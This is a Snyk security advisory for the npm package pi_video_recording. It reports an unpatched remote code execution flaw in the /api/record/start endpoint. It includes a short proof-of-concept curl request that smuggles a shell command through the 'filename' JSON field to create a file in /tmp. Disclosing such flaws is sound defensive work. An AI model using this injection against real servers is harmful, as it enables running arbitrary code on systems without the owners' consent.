Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for pi_video_recording
.
pi_video_recording is a Raspbian with raspivid module for NPM.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). Due to insufficient input validation, the server used by raspberry-pi video recording & live executes arbitrary code through the /api/record/start
endpoint.
curl -POST -H "Content-Type: application/json" -d '{"filename": " || touch /tmp/worked;"}
Sending the above HTTP request to a http://localhost:5000/api/record/start
creates a new file within the /tmp/
directory of the target server.